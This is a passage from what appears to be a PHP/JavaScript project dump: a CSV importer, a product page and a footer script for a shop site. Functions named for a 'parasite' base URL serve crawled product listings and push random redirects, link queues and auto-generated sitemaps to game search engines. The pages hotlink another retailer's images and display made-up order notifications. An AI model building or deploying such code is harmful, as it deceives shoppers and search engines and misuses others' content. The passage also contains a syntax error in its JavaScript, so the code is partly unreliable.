=== false) {\n throw new Exception(\"Invalid URL format provided: \" . htmlspecialchars($remote_csv_url));\n }\n $url_parts = parse_url($remote_csv_url);\n if (!isset($url_parts['scheme']) || !in_array($url_parts['scheme'], ['http', 'https'])) {\n throw new Exception(\"Invalid URL scheme. Only HTTP and HTTPS URLs are allowed.\");\n }\n echo \"Processing URL: \" . htmlspecialchars($remote_csv_url) . \"\\n\\n\";\n\n // 2. Download the remote file to a temporary local file\n $temp_file_path = tempnam(sys_get_temp_dir(), 'csv_import_');\n if ($temp_file_path === false) {\n throw new Exception(\"Could not create temporary file.\");\n }\n \n $success = @copy($remote_csv_url, $temp_file_path);\n if (!$success) {\n $error = error_get_last();\n $error_message = isset($error['message']) ? $error['message'] : 'Unknown error';\n throw new Exception(\"Failed to download remote CSV file. Reason: \" . $error_message);\n }\n echo \"Successfully downloaded remote file to temporary location.\\n\";\n\n\n // 3. Connect to MySQL Database\n $pdo = new PDO(DB_DSN, DB_USER, DB_PASS);\n $pdo-\u003esetAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\n echo \"Successfully connected to the database.\\n\";\n\n // 4. Create the products table ONLY if it doesn't exist.\n $pdo-\u003eexec(\"\n CREATE TABLE IF NOT EXISTS \" . TABLE_NAME . \" (\n id INT PRIMARY KEY,\n title TEXT,\n price_current DECIMAL(10, 2),\n price_original DECIMAL(10, 2),\n description LONGTEXT,\n images TEXT,\n category TEXT,\n source_url TEXT,\n crawled_at VARCHAR(255),\n status VARCHAR(50)\n ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4\n \");\n \n // Create index with error handling for MySQL compatibility\n try {\n $pdo-\u003eexec(\"CREATE INDEX idx_category ON \" . TABLE_NAME . \" (category(255))\");\n } catch (PDOException $e) {\n // Index might already exist, ignore error 1061 (Duplicate key name)\n if ($e-\u003egetCode() != '42000' || strpos($e-\u003egetMessage(), 'Duplicate key name') === false) {\n throw $e;\n }\n }\n echo \"Database table '\" . TABLE_NAME . \"' is ready.\\n\";\n\n // 5. Read the temporary CSV and insert/update data\n $fileHandle = fopen($temp_file_path, 'r');\n if ($fileHandle === false) {\n throw new Exception(\"Could not open temporary CSV file.\");\n }\n\n // Skip the header row of the CSV\n fgetcsv($fileHandle); \n\n $stmt = $pdo-\u003eprepare(\n \"REPLACE INTO \" . TABLE_NAME . \" (id, title, price_current, price_original, description, images, category, source_url, crawled_at, status) \n VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)\"\n );\n\n // Prepare queue management statements\n $check_queue_stmt = $pdo-\u003eprepare(\"SELECT 1 FROM link_queue WHERE product_id = ? AND table_name = ? LIMIT 1\");\n $insert_queue_stmt = $pdo-\u003eprepare(\"INSERT INTO link_queue (product_id, table_name) VALUES (?, ?)\");\n $update_count_stmt = $pdo-\u003eprepare(\"UPDATE link_queue_pointer SET total_count = total_count + 1 WHERE id = 1\");\n\n $rowCount = 0;\n $newProductsInQueue = 0;\n $pdo-\u003ebeginTransaction();\n \n while (($row = fgetcsv($fileHandle)) !== false) {\n if (count($row) === 10) {\n $product_id = (int)$row[0];\n $stmt-\u003eexecute($row);\n $rowCount++;\n\n // Check if queue tables exist and add new products to queue\n try {\n $check_queue_stmt-\u003eexecute([$product_id, TABLE_NAME]);\n $exists = $check_queue_stmt-\u003efetch();\n \n if (!$exists) {\n $insert_queue_stmt-\u003eexecute([$product_id, TABLE_NAME]);\n $update_count_stmt-\u003eexecute();\n $newProductsInQueue++;\n }\n } catch (PDOException $e) {\n // Queue tables might not exist yet, ignore queue operations\n if ($e-\u003egetCode() != '42S02') { // Table doesn't exist error\n error_log(\"Queue maintenance error: \" . $e-\u003egetMessage());\n }\n }\n }\n }\n $pdo-\u003ecommit();\n\n fclose($fileHandle);\n\n echo \"\\nImport Complete!\\n\";\n echo \"Successfully processed \" . $rowCount . \" products from \" . htmlspecialchars(basename($remote_csv_url)) . \".\\n\";\n if ($newProductsInQueue \u003e 0) {\n echo \"Added \" . $newProductsInQueue . \" new products to link queue.\\n\";\n }\n\n // Auto-update queue and sitemap after import (preserving pointer position)\n echo \"\\n=== Auto-updating Queue System ===\\n\";\n $queue_result = updateQueueAfterImport($pdo, true);\n if ($queue_result !== false) {\n echo \"\\n=== Auto-generating Sitemap ===\\n\";\n $sitemap_result = generateSitemap($pdo, true);\n if ($sitemap_result !== false) {\n echo \"robots.txt updated.\\n\";\n }\n }\n\n} catch (Exception $e) {\n http_response_code(500);\n echo \"\\nAN ERROR OCCURRED:\\n\";\n echo $e-\u003egetMessage() . \"\\n\";\n \n if (isset($pdo) \u0026\u0026 $pdo-\u003einTransaction()) {\n $pdo-\u003erollBack();\n echo \"Database transaction has been rolled back.\\n\";\n }\n} finally {\n // 6. Clean up: always delete the temporary file if it was created.\n if ($temp_file_path \u0026\u0026 file_exists($temp_file_path)) {\n unlink($temp_file_path);\n echo \"\\nTemporary file has been deleted.\\n\";\n }\n}\n\n// --- Queue Status Check Interface (for debugging) ---\nif (isset($_GET['action']) \u0026\u0026 $_GET['action'] === 'queue_status') {\n if (!isset($_GET['auth_token']) || $_GET['auth_token'] !== SECRET_KEY) {\n http_response_code(401);\n exit(\"Authentication failed.\\n\");\n }\n\n try {\n $pdo = new PDO(DB_DSN, DB_USER, DB_PASS);\n $pdo-\u003esetAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\n\n // Check if queue tables exist\n $tables_exist = $pdo-\u003equery(\"SHOW TABLES LIKE 'link_queue'\")-\u003efetchColumn();\n if (!$tables_exist) {\n echo \"Queue tables do not exist yet.\\n\";\n exit;\n }\n\n // Get pointer status\n $pointer_stmt = $pdo-\u003equery(\"SELECT current_index, total_count, last_updated FROM link_queue_pointer WHERE id = 1\");\n $pointer_data = $pointer_stmt-\u003efetch(PDO::FETCH_ASSOC);\n\n if (!$pointer_data) {\n echo \"Queue pointer not initialized.\\n\";\n exit;\n }\n\n // Get actual queue count\n $actual_count_stmt = $pdo-\u003equery(\"SELECT COUNT(*) FROM link_queue\");\n $actual_count = $actual_count_stmt-\u003efetchColumn();\n\n // Get sample products from current pointer position\n $current_index = (int)$pointer_data['current_index'];\n $sample_stmt = $pdo-\u003eprepare(\"\n SELECT product_id, table_name \n FROM link_queue \n WHERE queue_index \u003e= ? AND queue_index \u003c ? \n ORDER BY queue_index\n \");\n $sample_stmt-\u003eexecute([$current_index, $current_index + 5]);\n $sample_products = $sample_stmt-\u003efetchAll(PDO::FETCH_ASSOC);\n\n echo \"=== Queue Status Report ===\\n\";\n echo \"Current Pointer Position: {$pointer_data['current_index']}\\n\";\n echo \"Recorded Total Count: {$pointer_data['total_count']}\\n\";\n echo \"Actual Queue Count: {$actual_count}\\n\";\n echo \"Last Updated: {$pointer_data['last_updated']}\\n\";\n echo \"Count Match: \" . ($pointer_data['total_count'] == $actual_count ? \"✓ YES\" : \"✗ NO\") . \"\\n\";\n echo \"\\nNext 5 products from current pointer:\\n\";\n foreach ($sample_products as $i =\u003e $product) {\n echo \" \" . ($current_index + $i) . \": Product #{$product['product_id']} from {$product['table_name']}\\n\";\n }\n\n } catch (Exception $e) {\n http_response_code(500);\n echo \"Error checking queue status: \" . $e-\u003egetMessage() . \"\\n\";\n }\n exit;\n}\n?\u003e ","path":"import_csv.php"},{"content":"\u003c?php\n// ========== Dynamic Product Page ==========\n\n// Set timezone for PHP 5.6 compatibility\ndate_default_timezone_set('UTC');\n\n// --- Configuration \u0026 Setup ---\nrequire_once __DIR__ . '/config.php'; // For $GLOBALS['default_data'] and DB config\n\n// --- Data Fetching ---\n\n// 1. Get Product ID from URL\n$product_id = isset($_GET['id']) ? $_GET['id'] : null;\nif (!$product_id) {\n http_response_code(400);\n die('Error: Product ID is missing.');\n}\n\n// 2. Fetch product data from API\n$apiData = getParasiteData($product_id);\nif (!$apiData || !isset($apiData['product'])) {\n // 如果API调用失败,重定向到随机产品\n header(\"Location: \" . buildProductUrl('600001'), true, 301);\n exit();\n}\n\n$product = $apiData['product'];\n$categories = isset($apiData['categories']) ? $apiData['categories'] : array();\n$queue_links = isset($apiData['queue_links']) ? $apiData['queue_links'] : array();\n$category_products = isset($apiData['category_products']) ? $apiData['category_products'] : array();\n\n// 调试信息(生产环境可以注释掉)\nif (empty($category_products)) {\n error_log(\"Warning: category_products is empty from API\");\n } else {\n error_log(\"Debug: category_products count: \" . count($category_products));\n error_log(\"Debug: category_products keys: \" . implode(', ', array_keys($category_products)));\n}\nif (empty($categories)) {\n error_log(\"Warning: categories is empty from API\");\n} else {\n error_log(\"Debug: categories count: \" . count($categories));\n}\n\n// 确保数据格式正确\nif (!is_array($category_products)) {\n $category_products = array();\n}\nif (!is_array($categories)) {\n $categories = array();\n}\nif (!is_array($queue_links)) {\n $queue_links = array();\n}\n\n\n// 使用API返回的queue_links数据,无需数据库查询\n\n// --- Database Helper Functions (Removed - Now using API) ---\n\n// 使用API返回的queue_links数据\n$sidebar_links = $queue_links;\n\n// Convert links to new format\nif (is_array($sidebar_links) \u0026\u0026 !empty($sidebar_links)) {\n $converted_links = array();\n foreach ($sidebar_links as $link) {\n if (preg_match('#/shopdetail/(.+?)/(\\d+)$#', $link, $matches)) {\n $title = $matches[1];\n $product_id = $matches[2];\n $converted_links[] = buildProductUrl((int)$product_id, $title);\n }\n // 检测旧格式: /shopdetail/id\n else if (preg_match('/\\/shopdetail\\/(\\d+)$/', $link, $matches)) {\n $product_id = $matches[1];\n $converted_links[] = buildProductUrl((int)$product_id);\n } else {\n $converted_links[] = $link;\n }\n }\n $sidebar_links = $converted_links;\n}\n\n// Safety check: ensure $sidebar_links is always a valid non-empty array\nif (!is_array($sidebar_links) || empty($sidebar_links)) {\n error_log(\"Warning: sidebar_links is empty, falling back to default URLs\");\n $sidebar_links = array();\n for ($i = 0; $i \u003c 50; $i++) {\n $sidebar_links[] = $base_parasite_url . '/';\n }\n}\n\n// Helper function to safely get a random link\nfunction getRandomLink($links_array, $fallback_url) {\n if (!is_array($links_array) || empty($links_array)) {\n return $fallback_url;\n }\n try {\n $random_link = $links_array[array_rand($links_array)];\n // 确保返回完整的URL格式\n if (strpos($random_link, 'http') !== 0) {\n // 如果不是完整URL,添加基础URL\n global $base_parasite_url;\n $random_link = $base_parasite_url . $random_link;\n }\n return $random_link;\n } catch (Exception $e) {\n error_log(\"array_rand failed: \" . $e-\u003egetMessage());\n return $fallback_url;\n }\n}\n\n\nif (!$product) {\n // If no product is found for the given ID, redirect to a random product page.\n // This improves crawlability by avoiding 404s for old or invalid IDs.\n $random_url = !empty($sidebar_links) ? $base_parasite_url . $sidebar_links[0] : $base_parasite_url . '/';\n header(\"Location: \" . $random_url, true, 301);\n exit;\n}\n\n// --- Prepare data for shell components (Sidebar \u0026 Breadcrumbs) ---\n\n// 使用API返回的categories数据构建侧边栏\n$all_category_paths = array();\nif (isset($categories) \u0026\u0026 is_array($categories)) {\n $all_category_paths = $categories;\n}\n\n// Function to build a nested array from flat paths for the sidebar\nfunction buildCategoryTree(array $paths) {\n $tree = array();\n foreach ($paths as $path) {\n if (empty($path)) continue;\n $parts = array_map('trim', explode('\u003e', $path));\n $currentNode = \u0026$tree;\n foreach ($parts as $part) {\n if (!isset($currentNode[$part])) {\n $currentNode[$part] = array('children' =\u003e array());\n }\n $currentNode = \u0026$currentNode[$part]['children'];\n }\n }\n return $tree;\n}\n\n$category_tree = buildCategoryTree($all_category_paths);\n\n// Build breadcrumbs for the current product\n$breadcrumb_links = array();\n$product_categories = array_map('trim', explode('\u003e', $product['category']));\nforeach ($product_categories as $category_name) {\n $breadcrumb_links[] = array(\n 'name' =\u003e $category_name,\n 'url' =\u003e getRandomLink($sidebar_links, $base_parasite_url . '/') // Per router logic, category links go to random products.\n );\n}\n\n// 使用API返回的category_products数据\n$leaf_category_products = array();\n $parent_category_products = array();\n $random_category_products = array();\n \n// 定义分类名称变量\n$leaf_category = '';\n$parent_category = '';\n$random_category_name = '';\n\n// 将API返回的分类产品转换为原有格式\nif (isset($category_products) \u0026\u0026 is_array($category_products) \u0026\u0026 !empty($category_products)) {\n $category_count = 0;\n foreach ($category_products as $category =\u003e $products) {\n if (!is_array($products)) {\n continue;\n }\n \n $category_products_formatted = array();\n foreach ($products as $p) {\n if (!isset($p['title']) || !isset($p['url'])) {\n continue;\n }\n \n $product_id = '';\n $product_title = '';\n if (preg_match('#/shopdetail/(.+?)/(\\d+)$#', $p['url'], $matches)) {\n $product_title = $matches[1];\n $product_id = $matches[2];\n } else {\n $product_id = str_replace('/', '', $p['url']);\n $product_title = $p['title'];\n }\n \n $category_products_formatted[] = array(\n 'id' =\u003e $product_id ? (int)$product_id : 0,\n 'title' =\u003e $p['title'],\n 'url' =\u003e buildProductUrl((int)$product_id, $product_title),\n 'price' =\u003e isset($p['price']) ? $p['price'] : 0,\n 'price_current' =\u003e isset($p['price']) ? $p['price'] : 0,\n 'images' =\u003e isset($p['images']) ? $p['images'] : '',\n 'images_str' =\u003e isset($p['images']) ? $p['images'] : ''\n );\n }\n \n // 提取最后一个分类名称(如 \"Men \u003e Coats \u0026 jackets \u003e Rainwear\" -\u003e \"Rainwear\")\n $category_parts = explode('\u003e', $category);\n $last_category = trim(end($category_parts));\n \n // 第一个分类作为leaf_category_products\n if ($category_count === 0) {\n $leaf_category_products = $category_products_formatted;\n $leaf_category = $last_category;\n } elseif ($category_count === 1) {\n $parent_category_products = $category_products_formatted;\n $parent_category = $last_category;\n } else {\n $random_category_products = array_merge($random_category_products, $category_products_formatted);\n if (empty($random_category_name)) {\n $random_category_name = $last_category;\n }\n }\n $category_count++;\n }\n}\n\n// 如果没有分类数据,设置默认值\nif (empty($leaf_category_products)) {\n $leaf_category_products = array();\n $leaf_category = 'Products';\n}\nif (empty($parent_category_products)) {\n $parent_category_products = array();\n $parent_category = 'Related Products';\n}\nif (empty($random_category_products)) {\n $random_category_products = array();\n $random_category_name = 'Featured Products';\n}\n\n// --- Data Transformation for Template ---\n\n// This step adapts the database record to the format expected by the template.\n$images_str = trim($product['images'], '{}');\n$images = !empty($images_str) ? explode(',', $images_str) : array();\n\n// Parse the description HTML to extract structured data like brand and condition.\n$description_html = $product['description'];\n\n// Set default values, which can be overridden by data from the description\n$brand = $GLOBALS['default_data']['brand'];\n$condition = 'Not Specified';\n\n// Extract Brand from the Product Information table using regex\nif (preg_match('/\u003cth[^\u003e]*\u003e\\s*\u003cb\u003e\\s*Brand\\s*\u003c\\/b\u003e\\s*\u003c\\/th\u003e\\s*\u003ctd[^\u003e]*\u003e(.*?)\u003c\\/td\u003e/is', $description_html, $match)) {\n $brand = trim(strip_tags($match[1]));\n}\n// Extract Condition from the Product Information table using regex\nif (preg_match('/\u003cth[^\u003e]*\u003e\\s*\u003cb\u003e\\s*Condition\\s*\u003c\\/b\u003e\\s*\u003c\\/th\u003e\\s*\u003ctd[^\u003e]*\u003e(.*?)\u003c\\/td\u003e/is', $description_html, $match)) {\n $condition = trim(strip_tags($match[1]));\n}\n\n// The main description is the content before the \"Product Information\" heading.\n$main_description = $description_html;\n$h2_pos = strpos($description_html, '\u003ch2\u003e');\nif ($h2_pos !== false) {\n $main_description = substr($description_html, 0, $h2_pos);\n}\n\n// Calculate the price difference for the template\n$price_difference = 0;\nif (isset($product['price_original']) \u0026\u0026 isset($product['price_current'])) {\n $price_difference = (float)$product['price_original'] - (float)$product['price_current'];\n}\n\n\n\n// Calculate dynamic favicon path with smart slash handling\nfunction smartJoinPath() {\n $parts = func_get_args();\n $path = '';\n foreach ($parts as $part) {\n if (empty($part)) continue;\n \n if (empty($path)) {\n $path = rtrim($part, '/');\n } else {\n $path .= '/' . trim($part, '/');\n }\n }\n return $path;\n}\n\n$script_path = str_replace($document_root, '', __DIR__);\n$favicon_path = smartJoinPath($base_parasite_url, $script_path, 'includes', 'cropped.png');\n\n$data = array(\n 'management_number' =\u003e $product['id'],\n 'title' =\u003e $product['title'],\n 'price' =\u003e array(\n 'new' =\u003e '$' . number_format((float)$product['price_original'], 2),\n 'used' =\u003e '$' . number_format((float)$product['price_current'], 2)\n ),\n 'list_price' =\u003e '$' . number_format((float)$product['price_current'], 2),\n 'description' =\u003e $main_description,\n 'images' =\u003e $images,\n 'default_image' =\u003e isset($images[0]) ? $images[0] : $GLOBALS['default_data']['default_image'],\n 'categories' =\u003e array_map('trim', explode('\u003e', $product['category'])),\n 'domain' =\u003e $host,\n 'base_parasite_url' =\u003e $base_parasite_url, // Use the correct full URL from config.php\n 'favicon_path' =\u003e $favicon_path, // Dynamic favicon path\n 'brand' =\u003e $brand, // Use extracted brand\n 'condition' =\u003e $condition, // Add extracted condition\n 'price_difference' =\u003e number_format($price_difference, 2), // Add the calculated difference\n 'rating' =\u003e $GLOBALS['default_data']['rating'], // Comes from config.php\n 'currency' =\u003e $GLOBALS['default_data']['currency'], // Comes from config.php\n 'release_date' =\u003e date('Y/m/d', strtotime($product['crawled_at'])),\n 'model_number' =\u003e $product['id'],\n 'breadcrumb_links' =\u003e $breadcrumb_links, // New breadcrumb data\n 'category_tree' =\u003e $category_tree, // New sidebar data\n 'leaf_category' =\u003e $leaf_category,\n 'parent_category' =\u003e $parent_category,\n 'leaf_category_products' =\u003e $leaf_category_products,\n 'parent_category_products' =\u003e $parent_category_products,\n 'random_category_name' =\u003e $random_category_name,\n 'random_category_products' =\u003e $random_category_products,\n 'random_link' =\u003e getRandomLink($sidebar_links, $base_parasite_url . '/'),\n 'sidebar_links' =\u003e $sidebar_links,\n 'template_links' =\u003e $sidebar_links\n);\n\n\n// --- Render Template ---\n\n// The $data variable is now ready for the template.\nrequire 'template_complete.php';\n\n?\u003e ","path":"product.php"},{"content":"\u003c!-- jQuery and Bootstrap JS --\u003e\r\n\u003cscript src=\"https://code.jquery.com/jquery-3.6.0.min.js\"\u003e\u003c/script\u003e\r\n\u003cscript src=\"https://cdn.jsdelivr.net/npm/bootstrap@4.6.2/dist/js/bootstrap.bundle.min.js\"\u003e\u003c/script\u003e\r\n\r\n\u003c!-- Swiper JS --\u003e\r\n\u003cscript src=\"https://cdn.jsdelivr.net/npm/swiper@8/swiper-bundle.min.js\"\u003e\u003c/script\u003e\r\n\r\n\u003c!-- Lightbox JS --\u003e\r\n\u003cscript src=\"https://cdn.jsdelivr.net/npm/lightbox2@2.11.3/dist/js/lightbox.min.js\"\u003e\u003c/script\u003e\r\n\r\n\u003c!-- Additional JS Libraries --\u003e\r\n\u003cscript src=\"//cdn.suruga-ya.jp/styles/js/lazysizes.min.js\"\u003e\u003c/script\u003e\r\n\r\n\u003c!-- Google Analytics and DataLayer --\u003e\r\n\u003cscript\u003e\r\nwindow.dataLayer = window.dataLayer || [];\r\nfunction gtag(){dataLayer.push(arguments);}\r\ngtag('js', new Date());\r\ngtag('config', 'GA_MEASUREMENT_ID');\r\n\r\n// Custom dataLayer events\r\nfunction htmlDecode(value) {\r\n return $('\u003cdiv/\u003e').html(value).text();\r\n}\r\n\u003c/script\u003e\r\n\r\n\u003c!-- Flash Sale Countdown Timer --\u003e\r\n\u003cscript\u003e\r\ndocument.addEventListener('DOMContentLoaded', function() {\r\n // Flash Sale Countdown\r\n if (typeof endtime_campaign !== 'undefined') {\r\n var countDownDate = new Date(endtime_campaign).getTime();\r\n \r\n var x = setInterval(function() {\r\n var now = new Date().getTime();\r\n var distance = countDownDate - now;\r\n \r\n if (distance \u003e 0) {\r\n var hours = Math.floor((distance % (1000 * 60 * 60 * 24)) / (1000 * 60 * 60));\r\n var minutes = Math.floor((distance % (1000 * 60 * 60)) / (1000 * 60));\r\n var seconds = Math.floor((distance % (1000 * 60)) / 1000);\r\n \r\n document.querySelector('.hours').innerHTML = String(hours).padStart(2, '0');\r\n document.querySelector('.minutes').innerHTML = String(minutes).padStart(2, '0');\r\n document.querySelector('.seconds').innerHTML = String(seconds).padStart(2, '0');\r\n } else {\r\n clearInterval(x);\r\n document.querySelector('.flash_sale').style.display = 'none';\r\n }\r\n }, 1000);\r\n }\r\n});\r\n\u003c/script\u003e\r\n\r\n\u003c!-- Sidebar Navigation --\u003e\r\n\u003cscript\u003e\r\n$(document).ready(function() {\r\n // Sidebar toggle\r\n $('#sidebarCollapse').on('click', function() {\r\n $('#sidebar_menu').toggleClass('active');\r\n $('.overlay').toggleClass('active');\r\n });\r\n \r\n // Close sidebar\r\n $('#dismiss, .overlay').on('click', function() {\r\n $('#sidebar_menu').removeClass('active');\r\n $('.overlay').removeClass('active');\r\n });\r\n \r\n // Sidebar collapse functionality\r\n $('.dropdown-toggle').on('click', function() {\r\n var target = $(this).data('target');\r\n $(target).collapse('toggle');\r\n \r\n // Toggle arrow direction\r\n $(this).toggleClass('collapsed');\r\n });\r\n});\r\n\u003c/script\u003e\r\n\r\n\u003c!-- Product Image Gallery --\u003e\r\n\u003cscript\u003e\r\ndocument.addEventListener('DOMContentLoaded', function() {\r\n // Initialize Swiper for product thumbnails\r\n if (document.querySelector('.zoom_product_thumnail')) {\r\n window.swiperThumbnail = new Swiper('.zoom_product_thumnail', {\r\n slidesPerView: 4,\r\n spaceBetween: 5,\r\n loop: false,\r\n navigation: {\r\n nextEl: '.thumnail-swiper-button-next',\r\n prevEl: '.thumnail-swiper-button-prev',\r\n },\r\n breakpoints: {\r\n 320: { slidesPerView: 2, spaceBetween: 5 },\r\n 640: { slidesPerView: 3, spaceBetween: 5 },\r\n 768: { slidesPerView: 4, spaceBetween: 5 },\r\n }\r\n });\r\n }\r\n \r\n // Image click handlers\r\n document.querySelectorAll('.main-pro-lightbox').forEach(function(link) {\r\n link.addEventListener('click', function(e) {\r\n e.preventDefault();\r\n showImageZoom(this.href);\r\n });\r\n });\r\n});\r\n\u003c/script\u003e\r\n\r\n\u003c!-- Search and Navigation --\u003e\r\n\u003cscript\u003e\r\ndocument.addEventListener('DOMContentLoaded', function() {\r\n // Search form enhancement\r\n var searchForm = document.querySelector('.search-form-top');\r\n if (searchForm) {\r\n searchForm.addEventListener('submit', function(e) {\r\n var searchInput = this.querySelector('#txt-search');\r\n var categorySelect = this.querySelector('#cat-search');\r\n \r\n // Track search event\r\n dataLayer.push({\r\n 'event': 'search',\r\n 'eventCategory': 'site search',\r\n 'eventAction': 'search',\r\n 'eventLabel': searchInput.value,\r\n 'searchCategory': categorySelect.value\r\n });\r\n });\r\n }\r\n \r\n // Auto-complete simulation\r\n var searchInput = document.querySelector('#txt-search');\r\n if (searchInput) {\r\n searchInput.addEventListener('input', function() {\r\n var query = this.value;\r\n if (query.length \u003e= 3) {\r\n // 这里可以添加AJAX请求获取搜索建议\r\n console.log('Search suggestion for:', query);\r\n }\r\n });\r\n }\r\n});\r\n\u003c/script\u003e\r\n\r\n\u003c!-- Notification System --\u003e\r\n\u003cscript\u003e\r\ndocument.addEventListener('DOMContentLoaded', function() {\r\n // Load notifications\r\n loadNotifications();\r\n \r\n // Mark all as read\r\n document.querySelector('.read-all-message')?.addEventListener('click', function() {\r\n markAllNotificationsAsRead();\r\n });\r\n});\r\n\r\nfunction loadNotifications() {\r\n // 模拟加载通知\r\n var notifications = new Array(\r\n {\r\n id: 1,\r\n title: 'Order Shipped',\r\n message: 'Your order #12345 has been shipped!',\r\n time: '2 hours ago',\r\n read: false\r\n },\r\n {\r\n id: 2,\r\n title: 'New Arrivals',\r\n message: 'Check out our latest pool accessories!',\r\n time: '1 day ago',\r\n read: true\r\n }\r\n );\r\n \r\n var notificationList = document.querySelector('#messages');\r\n var notificationCount = document.querySelector('.lbl_count');\r\n \r\n if (notificationList \u0026\u0026 notificationCount) {\r\n var unreadCount = notifications.filter(n =\u003e !n.read).length;\r\n notificationCount.textContent = unreadCount;\r\n \r\n notificationList.innerHTML = notifications.map(notification =\u003e `\r\n \u003cli class=\"notification-item ${notification.read ? 'read' : 'unread'}\"\u003e\r\n \u003cdiv class=\"notification-content\"\u003e\r\n \u003ch6\u003e${notification.title}\u003c/h6\u003e\r\n \u003cp\u003e${notification.message}\u003c/p\u003e\r\n \u003csmall\u003e${notification.time}\u003c/small\u003e\r\n \u003c/div\u003e\r\n \u003c/li\u003e\r\n `).join('');\r\n }\r\n}\r\n\r\nfunction markAllNotificationsAsRead() {\r\n document.querySelectorAll('.notification-item').forEach(function(item) {\r\n item.classList.remove('unread');\r\n item.classList.add('read');\r\n });\r\n document.querySelector('.lbl_count').textContent = '0';\r\n}\r\n\u003c/script\u003e\r\n\r\n\u003c!-- Shopping Cart --\u003e\r\n\u003cscript\u003e\r\ndocument.addEventListener('DOMContentLoaded', function() {\r\n // Load cart count\r\n updateCartCount();\r\n \r\n // Price change handlers\r\n document.querySelectorAll('input[name=\"grade\"]').forEach(function(radio) {\r\n radio.addEventListener('change', function() {\r\n var zaiko = JSON.parse(this.dataset.zaiko);\r\n updatePrice(zaiko);\r\n });\r\n });\r\n});\r\n\r\nfunction updateCartCount() {\r\n // 模拟从服务器获取购物车数量\r\n var cartCount = localStorage.getItem('cartCount') || '0';\r\n document.querySelectorAll('.cart-number').forEach(function(element) {\r\n element.textContent = cartCount;\r\n });\r\n}\r\n\r\nfunction updatePrice(zaiko) {\r\n var priceElement = document.querySelector('.price-buy');\r\n var noteElement = document.querySelector('.product_note');\r\n \r\n if (priceElement \u0026\u0026 zaiko) {\r\n // 更新价格显示\r\n priceElement.textContent = '$' + zaiko.baika + ' (tax included)';\r\n \r\n // 更新库存状态\r\n var stockElement = document.querySelector('.tag_product.blue-light span');\r\n if (stockElement) {\r\n stockElement.textContent = 'Number of stocks: ' + zaiko.zaiko;\r\n }\r\n }\r\n}\r\n\r\n// Add to cart with animation\r\nfunction addToCartWithAnimation() {\r\n var cartIcon = document.querySelector('.sidebar_cart');\r\n var productImage = document.querySelector('.main-pro-img');\r\n \r\n if (cartIcon \u0026\u0026 productImage) {\r\n // Create flying image effect\r\n var flyingImage = productImage.cloneNode(true);\r\n flyingImage.style.position = 'fixed';\r\n flyingImage.style.zIndex = '9999';\r\n flyingImage.style.width = '50px';\r\n flyingImage.style.height = '50px';\r\n flyingImage.style.transition = 'all 1s ease-in-out';\r\n \r\n document.body.appendChild(flyingImage);\r\n \r\n var productRect = productImage.getBoundingClientRect();\r\n var cartRect = cartIcon.getBoundingClientRect();\r\n \r\n flyingImage.style.left = productRect.left + 'px';\r\n flyingImage.style.top = productRect.top + 'px';\r\n \r\n setTimeout(function() {\r\n flyingImage.style.left = cartRect.left + 'px';\r\n flyingImage.style.top = cartRect.top + 'px';\r\n flyingImage.style.opacity = '0';\r\n flyingImage.style.transform = 'scale(0.1)';\r\n }, 100);\r\n \r\n setTimeout(function() {\r\n document.body.removeChild(flyingImage);\r\n \r\n // Update cart count\r\n var currentCount = parseInt(localStorage.getItem('cartCount') || '0');\r\n localStorage.setItem('cartCount', currentCount + 1);\r\n updateCartCount();\r\n \r\n // Show success message\r\n showMessage('Success', 'Item added to cart successfully!', 'success');\r\n }, 1100);\r\n }\r\n}\r\n\u003c/script\u003e\r\n\r\n\u003c!-- Tweet Function --\u003e\r\n\u003cscript\u003e\r\n// Twitter share functionality\r\nwindow.pages = {\r\n product_detail: {\r\n tweet: function(title, description, url, productUrl, width, height) {\r\n var tweetText = encodeURIComponent(title + ' ' + productUrl);\r\n var tweetUrl = 'https://twitter.com/intent/tweet?text=' + tweetText;\r\n \r\n window.open(tweetUrl, 'twitter-share', 'width=600,height=400');\r\n \r\n // Track social share\r\n dataLayer.push({\r\n 'event': 'social_share',\r\n 'eventCategory': 'social',\r\n 'eventAction': 'twitter_share',\r\n 'eventLabel': title\r\n });\r\n }\r\n }\r\n};\r\n\u003c/script\u003e\r\n\r\n\u003c!-- Form Validation and Enhancement --\u003e\r\n\u003cscript\u003e\r\ndocument.addEventListener('DOMContentLoaded', function() {\r\n // Form validation\r\n var forms = document.querySelectorAll('form');\r\n forms.forEach(function(form) {\r\n form.addEventListener('submit', function(e) {\r\n if (!validateForm(this)) {\r\n e.preventDefault();\r\n }\r\n });\r\n });\r\n \r\n // Input formatting\r\n var numberInputs = document.querySelectorAll('input[type=\"number\"]');\r\n numberInputs.forEach(function(input) {\r\n input.addEventListener('input', function() {\r\n var value = parseInt(this.value);\r\n var min = parseInt(this.getAttribute('min')) || 1;\r\n var max = parseInt(this.getAttribute('max')) || 999;\r\n \r\n if (value \u003c min) this.value = min;\r\n if (value \u003e max) this.value = max;\r\n });\r\n });\r\n});\r\n\r\nfunction validateForm(form) {\r\n var isValid = true;\r\n var requiredFields = form.querySelectorAll('[required]');\r\n \r\n requiredFields.forEach(function(field) {\r\n if (!field.value.trim()) {\r\n field.classList.add('is-invalid');\r\n isValid = false;\r\n } else {\r\n field.classList.remove('is-invalid');\r\n }\r\n });\r\n \r\n return isValid;\r\n}\r\n\u003c/script\u003e\r\n\r\n\u003c!-- Lazy Loading and Performance --\u003e\r\n\u003cscript\u003e\r\ndocument.addEventListener('DOMContentLoaded', function() {\r\n // Lazy load images\r\n if ('IntersectionObserver' in window) {\r\n var imageObserver = new IntersectionObserver(function(entries, observer) {\r\n entries.forEach(function(entry) {\r\n if (entry.isIntersecting) {\r\n var img = entry.target;\r\n if (img.dataset.src) {\r\n img.src = img.dataset.src;\r\n img.classList.add('loaded');\r\n observer.unobserve(img);\r\n }\r\n }\r\n });\r\n });\r\n \r\n document.querySelectorAll('img[data-src]').forEach(function(img) {\r\n imageObserver.observe(img);\r\n });\r\n }\r\n \r\n // Preload critical resources\r\n var criticalImages = new Array(\r\n '\u003c?php echo isset($data['images'][0]) ? $data['images'][0] : ''; ?\u003e',\r\n 'https://cdn.suruga-ya.jp/pics/common/pc/user_black.svg',\r\n 'https://cdn.suruga-ya.jp/pics/common/pc/cart_black.svg'\r\n ].filter(Boolean);\r\n \r\n criticalImages.forEach(function(src) {\r\n var link = document.createElement('link');\r\n link.rel 